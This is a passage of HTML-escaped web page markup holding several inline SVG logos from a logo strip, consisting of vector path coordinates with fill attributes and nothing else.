            &lt;path d=&quot;M80.4966 7.03717C81.3519 7.03717 81.9182 7.92399 81.5591 8.69956L78.3141 15.7113C77.7887 16.8165 77.3478 17.6523 76.9892 18.2186C76.6325 18.785 76.2272 19.2065 75.7763 19.482C75.3249 19.7585 74.7619 19.8963 74.0884 19.8963C73.575 19.8963 73.1034 19.8218 72.6727 19.6738C72.4982 19.6136 71.99 19.3412 71.7708 19.1993C71.3627 18.935 71.2381 18.3931 71.4881 17.9757C71.7371 17.5594 72.2698 17.4135 72.6962 17.6441C72.7871 17.6931 73.1505 17.8798 73.188 17.8941C73.4106 17.9757 73.6769 18.0155 73.987 18.0155C74.3913 18.0155 74.7086 17.8839 74.9374 17.6206C75.1658 17.3583 75.4028 16.9165 75.6455 16.296L72.1318 8.721C71.7718 7.94437 72.339 7.05761 73.1943 7.05761C73.6625 7.05761 74.086 7.3372 74.2706 7.76785L76.8382 13.7683L79.3938 7.74847C79.5775 7.31576 80.002 7.03516 80.4712 7.03516H80.4966V7.03717Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M82.3445 11.9635C82.3454 12.0053 82.3464 12.0451 82.3498 12.086C82.3507 12.1074 82.3526 12.1298 82.3536 12.1513C82.3546 12.1686 82.357 12.1859 82.3579 12.2023C82.3579 12.2074 82.3589 12.2125 82.3589 12.2176C82.3627 12.2656 82.3661 12.3125 82.3719 12.3615C82.3752 12.385 82.3781 12.4105 82.38 12.434C82.3873 12.4992 82.3974 12.5646 82.4089 12.6288C82.4199 12.7003 82.4334 12.7707 82.4488 12.8411C82.4555 12.8748 82.4627 12.9074 82.4709 12.9401C82.48 12.984 82.4916 13.0269 82.5036 13.0697C82.5108 13.0973 82.519 13.1258 82.5262 13.1524C82.5353 13.1881 82.5464 13.2217 82.557 13.2564C82.5671 13.2901 82.5781 13.3228 82.5897 13.3564C82.6454 13.5248 82.7108 13.6892 82.7863 13.8493C82.8151 13.9126 82.8454 13.9739 82.8771 14.0351C82.8968 14.0708 82.9151 14.1075 82.9353 14.1423C82.9526 14.1749 82.9699 14.2065 82.9896 14.2382C83.0089 14.2708 83.0262 14.3014 83.0468 14.3331C83.0661 14.3647 83.0853 14.3963 83.106 14.4269C83.1261 14.4576 83.1454 14.4882 83.167 14.5188C83.1862 14.5474 83.2059 14.5759 83.2261 14.6045C83.2305 14.6106 83.2334 14.6147 83.2362 14.6188C83.256 14.6453 83.2752 14.6719 83.2958 14.6984C83.317 14.728 83.3396 14.7576 83.3617 14.7861C83.4069 14.8443 83.454 14.9015 83.5016 14.9566C83.5487 15.0127 83.5997 15.0657 83.6468 15.1147C83.7016 15.1729 83.7569 15.2301 83.8141 15.2872C83.817 15.2903 83.8213 15.2943 83.8232 15.2964C83.867 15.3372 83.9122 15.378 83.9569 15.4178L83.9612 15.4219C84.0059 15.4607 84.0506 15.4995 84.0958 15.5362C84.103 15.5434 84.1112 15.5505 84.1193 15.5566C84.1578 15.5893 84.1977 15.6199 84.2386 15.6495C84.253 15.6617 84.2679 15.673 84.2833 15.6842C84.3222 15.7138 84.3612 15.7413 84.4006 15.7679C84.465 15.8148 84.5323 15.8587 84.5996 15.8995C84.6376 15.924 84.6765 15.9475 84.715 15.9699C84.7159 15.9709 84.7183 15.9709 84.7193 15.9719C84.7366 15.9822 84.7549 15.9934 84.7712 16.0026C84.8102 16.025 84.8486 16.0464 84.8885 16.0658C84.9068 16.0761 84.9255 16.0873 84.9448 16.0954C84.9928 16.121 85.0395 16.1444 85.0885 16.1679C85.3101 16.273 85.5418 16.3608 85.7817 16.4302C85.8101 16.4383 85.8399 16.4475 85.8683 16.4546C85.9211 16.47 85.9745 16.4832 86.0284 16.4955C86.061 16.5026 86.0937 16.5108 86.1264 16.5169C86.1601 16.5241 86.1918 16.5312 86.2254 16.5373C86.2754 16.5465 86.3211 16.5546 86.3735 16.5638C86.4663 16.5802 86.56 16.5914 86.6538 16.5985C86.661 16.5995 86.6701 16.6006 86.6773 16.6006C86.7163 16.6057 86.7552 16.6077 86.7946 16.6098C86.8355 16.6128 86.8764 16.6149 86.9172 16.6169C86.9528 16.619 86.9898 16.62 87.0254 16.621C87.06 16.623 87.0927 16.623 87.1273 16.623H87.1408C89.1041 16.6169 90.792 15.4229 91.5236 13.7228C91.7501 13.1197 91.8779 12.4237 91.9044 11.641C91.9053 11.639 91.9053 11.638 91.9044 11.6369C91.9073 11.5349 91.9097 11.4318 91.9097 11.3267V4.80791C91.9097 4.21501 91.4289 3.73438 90.8362 3.73438C90.5401 3.73438 90.2718 3.85374 90.0766 4.04868C89.8829 4.24256 89.7622 4.51096 89.7622 4.80791V7.85202C89.2993 7.54483 88.7796 7.31523 88.2215 7.18462C88.207 7.18053 88.1941 7.17745 88.1806 7.17543C87.9878 7.13971 87.8104 7.10909 87.6499 7.08664C87.4787 7.06727 87.3052 7.05809 87.1273 7.05809C84.4967 7.05809 82.357 9.19289 82.3445 11.8196V11.8604C82.3435 11.8951 82.3435 11.9298 82.3445 11.9635ZM87.1254 9.25312C88.5541 9.25312 89.7122 10.4124 89.7122 11.8411C89.7122 11.8635 89.7122 11.887 89.7103 11.9084C89.7065 12.1135 89.6767 12.3125 89.6267 12.5033C89.3349 13.6116 88.3243 14.428 87.1254 14.428C85.6957 14.428 84.5376 13.2697 84.5376 11.8411C84.5376 10.4124 85.6966 9.25312 87.1254 9.25312Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M91.6133 13.5424C91.8407 12.9371 91.9685 12.2386 91.995 11.4531C91.9993 11.5187 92.0003 11.5873 92.0003 11.6539C92.0003 12.3236 91.8618 12.9627 91.6133 13.5424Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M87.7256 6.88086C87.9068 6.90033 88.0852 6.92999 88.2582 6.96994C88.0645 6.93413 87.8871 6.90341 87.7256 6.88086Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M89.9187 19.3958C89.9249 19.4011 89.9302 19.4064 89.9364 19.4116C89.9249 19.4011 89.9119 19.3894 89.9004 19.3789C89.9066 19.3842 89.9134 19.3894 89.9187 19.3958Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M89.4365 18.7481C89.4365 18.7598 89.4365 18.7703 89.4374 18.7809C89.4374 18.7872 89.4389 18.7925 89.4389 18.7989C89.4389 18.8031 89.4398 18.8084 89.4398 18.8126C89.4398 18.8137 89.4398 18.8158 89.4398 18.8168C89.4408 18.8295 89.4418 18.8422 89.4427 18.8549C89.4442 18.8613 89.4442 18.8676 89.4451 18.8739C89.4471 18.8919 89.4495 18.9088 89.4523 18.9258C89.4557 18.9448 89.4586 18.9638 89.4629 18.9829C89.4653 18.9913 89.4672 19.0009 89.4692 19.0093C89.4716 19.021 89.4745 19.0326 89.4778 19.0442C89.4797 19.0516 89.4821 19.059 89.4841 19.0664C89.4865 19.0759 89.4894 19.0855 89.4927 19.0939C89.4956 19.1024 89.498 19.1119 89.5009 19.1204C89.5158 19.1658 89.5341 19.2092 89.5538 19.2525C89.5615 19.2694 89.5696 19.2864 89.5783 19.3022C89.5836 19.3118 89.5889 19.3213 89.5942 19.3308C89.5985 19.3393 89.6038 19.3477 89.6091 19.3562C89.6143 19.3646 89.6187 19.3731 89.624 19.3816C89.6293 19.39 89.6341 19.3985 89.6393 19.4069C89.6446 19.4154 89.6499 19.4228 89.6552 19.4313C89.6605 19.4387 89.6658 19.4461 89.6711 19.4545C89.6725 19.4556 89.6735 19.4577 89.6744 19.4588C89.6797 19.4662 89.685 19.4736 89.6903 19.4799C89.6966 19.4873 89.7018 19.4957 89.7081 19.5031C89.7201 19.519 89.7326 19.5338 89.7451 19.5486C89.7581 19.5634 89.7715 19.5782 89.7845 19.5909C89.7994 19.6068 89.8139 19.6216 89.8288 19.6375C89.8297 19.6385 89.8312 19.6396 89.8312 19.6396C89.8427 19.6501 89.8542 19.6618 89.8667 19.6724L89.8682 19.6734C89.8797 19.684 89.8922 19.6946 89.9038 19.7041C89.9062 19.7062 89.9081 19.7083 89.9105 19.7094C89.9211 19.7178 89.9316 19.7263 89.9422 19.7348C89.9461 19.7379 89.9494 19.7411 89.9538 19.7443C89.9643 19.7517 89.9749 19.7591 89.9855 19.7665C90.0023 19.7792 90.0201 19.7908 90.0384 19.8014C90.0489 19.8077 90.0585 19.8141 90.0691 19.8204H90.0701C90.0744 19.8236 90.0797 19.8257 90.0835 19.8289C90.0941 19.8352 90.1047 19.8405 90.1153 19.8458C90.1206 19.8489 90.1249 19.851 90.1302 19.8532C90.1432 19.8606 90.1557 19.8669 90.1682 19.8722C90.2278 19.9007 90.2898 19.924 90.3542 19.9431C90.3619 19.9452 90.3701 19.9473 90.3778 19.9494C90.3927 19.9536 90.4061 19.9568 90.421 19.96C90.4297 19.9621 90.4388 19.9642 90.4475 19.9663C90.4561 19.9684 90.4653 19.9706 90.4739 19.9716C90.4878 19.9737 90.4994 19.9758 90.5128 19.979C90.5383 19.9832 90.5628 19.9864 90.5883 19.9885C90.5902 19.9885 90.5922 19.9885 90.5946 19.9885C90.6051 19.9896 90.6157 19.9906 90.6263 19.9906C90.6369 19.9917 90.6484 19.9917 90.659 19.9928C90.6686 19.9928 90.6782 19.9938 90.6874 19.9938C90.697 19.9938 90.7056 19.9938 90.7152 19.9938H90.7181C91.245 19.9928 91.6964 19.6724 91.893 19.2166C91.9531 19.0548 91.9882 18.8687 91.9945 18.6582V18.6572C91.9954 18.6297 91.9954 18.6022 91.9954 18.5736V16.8267C91.9954 16.668 91.8666 16.5391 91.7079 16.5391C91.6286 16.5391 91.557 16.5708 91.5051 16.6237C91.4532 16.6754 91.4205 16.7474 91.4205 16.8267V17.6431C91.2964 17.5606 91.157 17.4992 91.008 17.4643C91.0037 17.4633 91.0008 17.4622 90.9974 17.4622C90.9455 17.4527 90.8979 17.4442 90.8546 17.4389C90.809 17.4337 90.7614 17.4315 90.7152 17.4315C90.0095 17.4315 89.4365 18.0037 89.4336 18.7079V18.7185C89.4365 18.7302 89.4365 18.7397 89.4365 18.7481ZM90.7181 18.0217C91.1008 18.0217 91.4118 18.3325 91.4118 18.7154C91.4118 18.7217 91.4118 18.728 91.4118 18.7333C91.4109 18.7883 91.4036 18.8422 91.3897 18.893C91.3113 19.1901 91.0407 19.4091 90.7191 19.4091C90.3364 19.4091 90.0254 19.0982 90.0254 18.7154C90.0254 18.3325 90.3355 18.0217 90.7181 18.0217Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M91.8984 18.9685C91.9571 18.8118 91.9907 18.6316 91.997 18.4277C91.998 18.4451 91.998 18.4625 91.998 18.48C91.9989 18.6531 91.9633 18.819 91.8984 18.9685Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M90.8945 17.2461C90.9412 17.2512 90.9873 17.2594 91.032 17.2685C90.982 17.2594 90.9364 17.2522 90.8945 17.2461Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M81.5177 17.4587C81.4014 17.3445 81.2735 17.2599 81.1336 17.206C80.9932 17.151 80.8471 17.1246 80.6947 17.1246C80.5394 17.1246 80.3923 17.1542 80.2539 17.2134C80.1154 17.2726 79.9938 17.354 79.889 17.4577C79.7842 17.5613 79.702 17.6829 79.6419 17.8225C79.5813 17.9621 79.5505 18.1122 79.5505 18.273C79.5505 18.4284 79.5804 18.5765 79.6385 18.7161C79.6976 18.8556 79.7779 18.9773 79.8794 19.082C79.9813 19.1866 80.1029 19.2702 80.2433 19.3315C80.3841 19.3929 80.5351 19.4235 80.6971 19.4235C80.8495 19.4235 80.9932 19.3982 81.1274 19.3474C81.2629 19.2966 81.3898 19.211 81.5091 19.0915C81.5365 19.064 81.5682 19.0439 81.6042 19.0302C81.6403 19.0175 81.6754 19.0111 81.7124 19.0111C81.7533 19.0111 81.7917 19.0185 81.8263 19.0344C81.8614 19.0502 81.8908 19.0703 81.9172 19.0968C81.9436 19.1232 81.9629 19.1528 81.9763 19.1866C81.9903 19.2205 81.9975 19.2564 81.9975 19.2945C81.9975 19.3326 81.9903 19.3696 81.9763 19.4045C81.9629 19.4405 81.9427 19.47 81.9172 19.4965C81.7441 19.6667 81.5514 19.7937 81.3389 19.8761C81.1264 19.9586 80.9086 19.9998 80.6856 19.9998C80.5279 19.9998 80.3764 19.9787 80.2317 19.9374C80.087 19.8962 79.9505 19.838 79.8246 19.764C79.6986 19.69 79.5837 19.6001 79.4789 19.4954C79.3741 19.3907 79.2852 19.2744 79.2111 19.1464C79.1371 19.0185 79.0789 18.881 79.0381 18.7341C78.9967 18.5871 78.9756 18.4348 78.9756 18.2772C78.9756 18.0488 79.0179 17.831 79.1035 17.6216C79.189 17.4132 79.3073 17.2293 79.4597 17.0685C79.6121 16.9089 79.7938 16.7809 80.0053 16.6857C80.2168 16.5906 80.4476 16.543 80.6981 16.543C80.9235 16.543 81.1403 16.5853 81.3495 16.6698C81.5591 16.7544 81.7504 16.8824 81.9225 17.0537C81.9778 17.1129 82.0061 17.1796 82.0061 17.2536C82.0061 17.2917 81.9989 17.3276 81.9831 17.3625C81.9672 17.3974 81.946 17.427 81.9196 17.4534C81.8932 17.4799 81.8614 17.5 81.8263 17.5158C81.7903 17.5317 81.7533 17.5391 81.7134 17.5391C81.6773 17.5391 81.6413 17.5328 81.6066 17.5201C81.5716 17.5063 81.5418 17.4862 81.5177 17.4587Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M83.37 19.9988C83.2474 19.9988 83.132 19.9787 83.0263 19.9375C82.9196 19.8973 82.8273 19.8391 82.7479 19.764C82.6701 19.689 82.6076 19.5991 82.5609 19.4944C82.5153 19.3897 82.4922 19.2734 82.4922 19.1454V16.8338C82.4922 16.7926 82.4994 16.7534 82.5143 16.7185C82.5292 16.6826 82.5484 16.6519 82.5725 16.6265C82.597 16.6001 82.6253 16.58 82.6595 16.5652C82.6931 16.5504 82.7302 16.543 82.7691 16.543C82.8095 16.543 82.8474 16.5504 82.8835 16.5652C82.9196 16.58 82.9513 16.6001 82.9787 16.6265C83.0051 16.653 83.0272 16.6836 83.0431 16.7185C83.0599 16.7545 83.0676 16.7926 83.0676 16.8338V19.1592C83.0705 19.247 83.0984 19.3146 83.1479 19.3611C83.1974 19.4077 83.2671 19.432 83.3551 19.4341H83.3676C83.409 19.4341 83.4469 19.4415 83.482 19.4563C83.5171 19.4711 83.5464 19.4912 83.5729 19.5177C83.5993 19.5441 83.6186 19.5737 83.632 19.6086C83.646 19.6435 83.6532 19.6805 83.6532 19.7207C83.6532 19.8042 83.6267 19.8709 83.5729 19.9227C83.521 19.9724 83.4522 19.9988 83.37 19.9988Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M83.8115 18.7184C83.8115 18.5418 83.8457 18.3758 83.913 18.2193C83.9807 18.0638 84.073 17.9274 84.1889 17.8111C84.3052 17.6948 84.4408 17.6028 84.5961 17.5351C84.7509 17.4674 84.9167 17.4336 85.0941 17.4336C85.271 17.4336 85.4369 17.4674 85.5936 17.5351C85.7489 17.6028 85.8854 17.6948 86.0008 17.8111C86.1157 17.9274 86.208 18.0638 86.2743 18.2193C86.3421 18.3747 86.3758 18.5418 86.3758 18.7184C86.3758 18.895 86.3421 19.061 86.2743 19.2165C86.207 19.3719 86.1157 19.5062 86.0008 19.6226C85.8854 19.7378 85.7489 19.8298 85.5936 19.8965C85.4379 19.9641 85.271 19.998 85.0941 19.998C84.9177 19.998 84.7518 19.9641 84.5961 19.8965C84.4408 19.8288 84.3052 19.7378 84.1889 19.6226C84.073 19.5073 83.9807 19.3719 83.913 19.2165C83.8442 19.061 83.8115 18.895 83.8115 18.7184ZM84.3942 18.7184C84.3942 18.8147 84.4124 18.9045 84.4495 18.9891C84.4865 19.0727 84.536 19.1467 84.5994 19.2102C84.6629 19.2736 84.736 19.3233 84.8206 19.3603C84.9052 19.3973 84.9951 19.4153 85.0912 19.4153C85.1893 19.4153 85.2816 19.3973 85.3662 19.3603C85.4508 19.3233 85.5249 19.2736 85.5883 19.2102C85.6518 19.1467 85.7013 19.0737 85.7373 18.9891C85.7734 18.9056 85.7912 18.8147 85.7912 18.7184C85.7912 18.6222 85.7734 18.5323 85.7364 18.4477C85.6994 18.3642 85.6494 18.2901 85.5859 18.2267C85.5225 18.1633 85.4484 18.1146 85.3638 18.0786C85.2792 18.0427 85.1884 18.0247 85.0922 18.0247C84.997 18.0247 84.9071 18.0427 84.8225 18.0786C84.7379 18.1146 84.6639 18.1643 84.6004 18.2267C84.5369 18.2901 84.4874 18.3631 84.4504 18.4477C84.4124 18.5323 84.3942 18.6222 84.3942 18.7184Z&quot; fill=&quot;white&quot;/&gt;
            &lt;path d=&quot;M86.7051 17.7202C86.7051 17.68 86.7123 17.643 86.7272 17.6081C86.7421 17.5732 86.7623 17.5435 86.7887 17.5171C86.8152 17.4907 86.8445 17.4706 86.8796 17.4558C86.9142 17.441 86.9512 17.4336 86.9916 17.4336C87.0315 17.4336 87.0685 17.441 87.1046 17.4558C87.1406 17.4706 87.1714 17.4907 87.1969 17.5171C87.2233 17.5435 87.243 17.5732 87.2589 17.6081C87.2748 17.643 87.2824 17.68 87.2824 17.7202V18.7776C87.2824 18.8696 87.2993 18.9542 87.332 19.0314C87.3646 19.1097 87.4103 19.1774 87.4685 19.2355C87.5267 19.2937 87.5944 19.3391 87.6728 19.3719C87.7507 19.4047 87.8353 19.4216 87.9262 19.4216C88.016 19.4216 88.0978 19.4047 88.1708 19.3709C88.2434 19.337 88.3059 19.2916 88.3578 19.2334C88.4098 19.1752 88.4497 19.1076 88.4771 19.0282C88.505 18.95 88.5184 18.8644 88.5184 18.7723V17.7202C88.5184 17.68 88.5261 17.643 88.542 17.6081C88.5578 17.5732 88.579 17.5435 88.6064 17.5171C88.6338 17.4907 88.6655 17.4706 88.6992 17.4558C88.7343 17.441 88.7713 17.4336 88.8117 17.4336C88.8516 17.4336 88.8886 17.441 88.9237 17.4558C88.9583 17.4706 88.9881 17.4907 89.0136 17.5171C89.0391 17.5435 89.0588 17.5732 89.0727 17.6081C89.0876 17.643 89.0948 17.68 89.0948 17.7202V18.7723C89.0948 18.9415 89.0655 19.1002 89.0073 19.2482C88.9477 19.3962 88.8665 19.5263 88.7626 19.6374C88.6593 19.7484 88.5352 19.8372 88.3925 19.9007C88.2502 19.9652 88.0944 19.9969 87.9276 19.9969C87.7584 19.9969 87.5997 19.9652 87.4517 19.9007C87.3036 19.8372 87.1743 19.7484 87.0632 19.6374C86.9527 19.5253 86.8656 19.3962 86.8022 19.2482C86.7387 19.1002 86.707 18.9415 86.707 18.7723V17.7202H86.7051Z&quot; fill=&quot;white&quot;/&gt;
        &lt;/svg&gt;
        &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;a-fade-up block-hosts-logos__image&quot; viewBox=&quot;0 0 1002 169&quot;&gt;
            &lt;path d=&quot;M84.16 169v-32.88c34.86 0 61.75-34.37 48.31-70.74A49 49 0 0 0 103.09 36a51.94 51.94 0 0 0-70.22 48.31H0c0-54.8 53.29-98.14 111.55-80.2a81.43 81.43 0 0 1 53.29 53.3C182.77 115.7 139.44 169 84.16 169z&quot;/&gt;
            &lt;path d=&quot;M84.66 136.12H51.79v-32.38h32.87m-32.87 57.79h-24.9v-25.41h24.9v25.41m-24.9-25.41H6V115.2h20.89M300.3 48.94c-9.46-6.48-21.91-10-35.86-10h-30.37v97.14h30.38q20.92 0 35.86-10.46a38.11 38.11 0 0 0 12.45-15.44c3-6.48 4.48-14.45 4.48-22.92s-1.49-16.44-4.48-22.42c-3-7.43-6.98-12.41-12.46-15.9zM252 55.42h9.46c10.46 0 19.42 2 26.39 6.48 7.47 4.48 11 13 11 25.41s-4 21.42-11 26.4c-6.47 4-14.94 6.48-25.9 6.48H252V55.42m86.65-17.93a10.13 10.13 0 0 0-7.47 3 9 9 0 0 0-3.49 7.47 10.46 10.46 0 1 0 20.92 0 10.14 10.14 0 0 0-3-7.47c-1.49-2-4-3-7-3m-9 29.89h17.43v68.25h-17.36V67.38m79.68 6c-5-4.48-11-7.47-17.43-7.47a30.82 30.82 0 0 0-23.41 10 34.69 34.69 0 0 0-9.46 24.41c0 9.47 3 17.93 9 24.41s13.94 9.47 23.41 9.47a27.56 27.56 0 0 0 16.93-5.48v1.49c0 5.48-1.49 10-4.48 13s-7 4.48-12.45 4.48c-8 0-12.95-3-18.92-11.46l-12 11.46.5.5c2.49 3.49 6.47 7 11.45 10.46s11.45 5 18.92 5c10.46 0 18.43-3 24.4-9.47s9.46-14.45 9.46-24.91V67.38h-16.91v6h1m-4.48 40.35c-3 3.49-7 5-12 5s-9-1.49-12-5-4.48-8-4.48-13.45S378 90.29 381 86.8s7-5 12-5 9 1.49 12 5 4.48 8 4.48 13.45-1.49 10-4.48 13.45m36.35-46.33h17.43v68.25h-17.54V67.38m8.47-29.89a10.21 10.21 0 0 0-10.46 10.46 10.46 10.46 0 1 0 20.92 0 10.21 10.21 0 0 0-10.47-10.46M496 48.94h-16.91v18.44h-10v15.44h10v28.4c0 9 2 15.44 5.48 18.93s10 5.48 18.43 5.48a48.3 48.3 0 0 0 8.47-.5h1v-15.45l-6 .5c-4 0-7-.5-8-2-1.49-1.49-2-4.48-2-9V83.32h15.94V67.87h-15.89L496 48.94m96.61-10h17.43v97.14h-17.41V39m191.24 72.73a57.76 57.76 0 0 1-8.47 8 17.19 17.19 0 0 1-9 2.49 17 17 0 0 1-12.4-5.53c-3.49-4-5-8.47-5-14.45s1.49-10.46 5-14.45a15.31 15.31 0 0 1 12.45-5.48c5.48 0 11.45 3.49 16.43 9.47l11.45-11c-7.47-9.47-16.93-13.95-28.39-13.95-9.46 0-17.43 3.49-24.4 10.46a36.2 36.2 0 0 0-10 25.41c0 10 3.49 18.93 10 25.41a32.39 32.39 0 0 0 24.4 10.46c12.45 0 22.41-5.48 29.38-15.44l-11.45-11.46m70.22-34.37a26.22 26.22 0 0 0-10-8 32.5 32.5 0 0 0-14.44-3c-9.46 0-17.43 3.49-23.41 10.46a40 40 0 0 0-8.47 25.41c0 10.46 3 18.93 9.46 25.41s14.44 10 24.9 10c11.45 0 20.92-4.48 28.39-13.95l.5-.5-11.45-11c-1 1.49-2.49 2.49-4 4a15.18 15.18 0 0 1-5 3.49 16.36 16.36 0 0 1-8.47 2 19.17 19.17 0 0 1-12-4c-3-2.49-4.48-6-5-10.46h45.82v-6.48a37.16 37.16 0 0 0-2-13 22.59 22.59 0 0 0-5-10.46m-37.18 16.06a17.64 17.64 0 0 1 4.48-8 12 12 0 0 1 9-3.49c4 0 7.47 1 9.46 3.49 2 2 3 5 3.49 8h-26.43m103.59-20.43c-5-4.48-12.45-6.48-21.41-6.48a43.59 43.59 0 0 0-15.92 3.5c-4.48 2.49-9 6-11.45 11l11 10.46c4.48-7.47 9.46-10 16.43-10a13.9 13.9 0 0 1 9 3 9 9 0 0 1 3.49 7.47v3.49a38.13 38.13 0 0 0-12.45-2q-12.7 0-20.92 6c-5.48 4-8 10-8 16.94 0 6.48 2 11.46 6.47 15.44s10 5.48 16.43 5.48 12.45-2.49 18.43-7v5.48h16.93V91.79c0-8-2.49-14.45-8-18.93m-30.38 36.86c2-1.49 4.48-2 8-2a42.37 42.37 0 0 1 12.95 2.49v6.48a22 22 0 0 1-14.94 5.48c-3 0-5.48-.5-7-2s-2.49-3-2.49-5a8.17 8.17 0 0 1 3.49-5.48m104.54-35.84c-5-5.48-11.45-8-19.92-8q-10.46 0-16.43 6v-4h-16.94v68.25h17.43V98.26c0-5 1-9.47 3.49-12.45a12.54 12.54 0 0 1 10-4.48 10.94 10.94 0 0 1 9 4 18 18 0 0 1 3.49 11v39.85H1002V96.27q-.75-14.2-7.47-22.42m-423.31-1c-5-4.48-12.45-6.48-21.41-6.48a43.59 43.59 0 0 0-15.94 3.49c-4.48 2.49-9 6-11.45 11l11 10.46c4.48-7.47 9.46-10 16.43-10a13.9 13.9 0 0 1 9 3 9 9 0 0 1 3.49 7.47v3.49a38.13 38.13 0 0 0-12.45-2q-12.7 0-20.92 6c-5.48 4-8 10-8 16.94 0 6.48 2 11.46 6.47 15.44s10 5.48 16.43 5.48 12.45-2.49 18.43-7v5.48h16.93V91.79c0-8-3-14.45-8-18.93m-30.88 36.86c2-1.49 4.48-2 8-2a42.37 42.37 0 0 1 12.95 2.49v6.48a22 22 0 0 1-14.94 5.48c-3 0-5.48-.5-7-2s-2.49-3-2.49-5a14.84 14.84 0 0 1 3.49-5.48m132 27.9a49.82 49.82 0 1 1 49.8-49.82 50 50 0 0 1-49.8 49.82m0-82.69a32.38 32.38 0 1 0 32.33 32.4 32.31 32.31 0 0 0-32.37-32.38&quot;/&gt;
        &lt;/svg&gt;
        &lt;svg width=&quot;112&quot; height=&quot;24&quot; viewBox=&quot;0 0 112 24&quot; fill=&quot;none&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
            &lt;g clip-path=&quot;url(#clip0_6604_6298)&quot;&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M52.6867 12.6314C52.6867 10.2314 50.8207 8.29297 48.4346 8.29297C46.0792 8.29297 44.2132 10.2006 44.1826 12.6314C44.1826 15.0006 46.0792 16.9391 48.4346 16.9391C50.8207 16.9391 52.6867 15.0006 52.6867 12.6314ZM50.9124 12.6006C50.9124 14.0161 49.8112 15.1545 48.4346 15.1545C47.0581 15.1545 45.9568 14.0161 45.9568 12.6006C45.9568 11.1853 47.0581 10.0468 48.4346 10.0468C49.8112 10.0468 50.9124 11.1853 50.9124 12.6006Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M63.761 12.6314C63.761 10.2314 61.895 8.29297 59.5089 8.29297C57.1535 8.29297 55.2874 10.2006 55.2568 12.6314C55.2568 15.0006 57.1535 16.9391 59.5089 16.9391C61.895 16.9391 63.761 15.0006 63.761 12.6314ZM61.9867 12.6006C61.9867 14.0161 60.8855 15.1545 59.5089 15.1545C58.1324 15.1545 57.0311 14.0161 57.0311 12.6006C57.0311 11.1853 58.1324 10.0468 59.5089 10.0468C60.8855 10.0468 61.9867 11.1853 61.9867 12.6006Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M5.18032 12.2939C6.28156 12.5708 6.77101 13.5247 6.77101 14.2016C6.77101 15.5862 5.76153 16.7862 4.10966 16.7862H0.683542C0.591771 16.7862 0.5 16.6939 0.5 16.6016V8.54007C0.5 8.44777 0.591771 8.35547 0.683542 8.35547H3.86493C5.36386 8.35547 6.34274 9.24775 6.34274 10.6939C6.34274 11.2478 6.03684 11.9555 5.18032 12.2939ZM3.68139 11.6786C4.14024 11.6786 4.44615 11.3094 4.44615 10.817C4.44615 10.294 4.17083 9.92468 3.6508 9.92468H2.27424V11.6786H3.68139ZM2.27424 15.1863V13.1555V13.1247H3.92611C4.5685 13.1247 4.87441 13.6785 4.87441 14.1401C4.87441 14.6632 4.5685 15.1863 3.98729 15.1863H2.27424Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M11.6043 8.54007V16.5709C11.6043 16.6632 11.5126 16.7555 11.4208 16.7555H10.0136C9.92185 16.7555 9.83008 16.6632 9.83008 16.5709V8.54007C9.83008 8.44777 9.92185 8.35547 10.0136 8.35547H11.4208C11.5126 8.35547 11.6043 8.44777 11.6043 8.54007Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M20.9348 10.6637C20.8736 10.7252 20.7513 10.7252 20.6901 10.6637C20.2312 10.2021 19.65 9.92519 18.977 9.92519C17.5699 9.92519 16.4686 11.1252 16.4686 12.6021C16.4686 14.0483 17.5699 15.2791 18.977 15.2791C19.8641 15.2791 20.996 14.7252 20.996 13.8329H18.9464C18.8546 13.8329 18.7629 13.7406 18.7629 13.6483V12.5713C18.7629 12.479 18.8546 12.3867 18.9464 12.3867H22.862C22.9538 12.3867 23.0455 12.479 23.0455 12.5713C22.9844 15.5867 21.3325 16.9098 18.977 16.9098C16.5604 16.9098 14.6943 14.9713 14.6943 12.6021C14.6943 10.2021 16.591 8.26367 18.977 8.26367C20.2006 8.26367 21.2713 8.72519 21.9748 9.49442C22.036 9.58672 22.036 9.70983 21.9442 9.77133L20.9348 10.6637Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path d=&quot;M27.1134 14.3247C27.2052 14.3247 27.2664 14.3863 27.297 14.4786C27.3887 14.9401 27.8171 15.3401 28.5206 15.3401C29.2242 15.3401 29.7442 15.0017 29.7442 14.4478C29.7442 14.0786 29.5912 13.7401 28.7347 13.4939L27.7252 13.1863C25.8898 12.6017 25.5534 11.5247 25.5534 10.7555C25.5534 9.24782 26.8381 8.23242 28.4288 8.23242C29.9889 8.23242 31.1514 9.1247 31.2431 10.6017C31.2431 10.7247 31.1514 10.817 31.0596 10.817H29.6524C29.5607 10.817 29.4995 10.7555 29.4689 10.6632C29.4077 10.2017 29.0406 9.86319 28.3983 9.86319C27.7865 9.86319 27.3276 10.2017 27.3276 10.694C27.3276 10.9093 27.4193 11.3094 28.2147 11.5555L29.2242 11.8632C31.2431 12.4478 31.549 13.5863 31.5185 14.417C31.4879 16.0786 29.9889 16.8786 28.5206 16.8786C26.7769 16.8786 25.584 15.8939 25.4922 14.4786C25.4922 14.3555 25.584 14.2632 25.6757 14.2632H27.1134V14.3247Z&quot; fill=&quot;white&quot;/&gt;
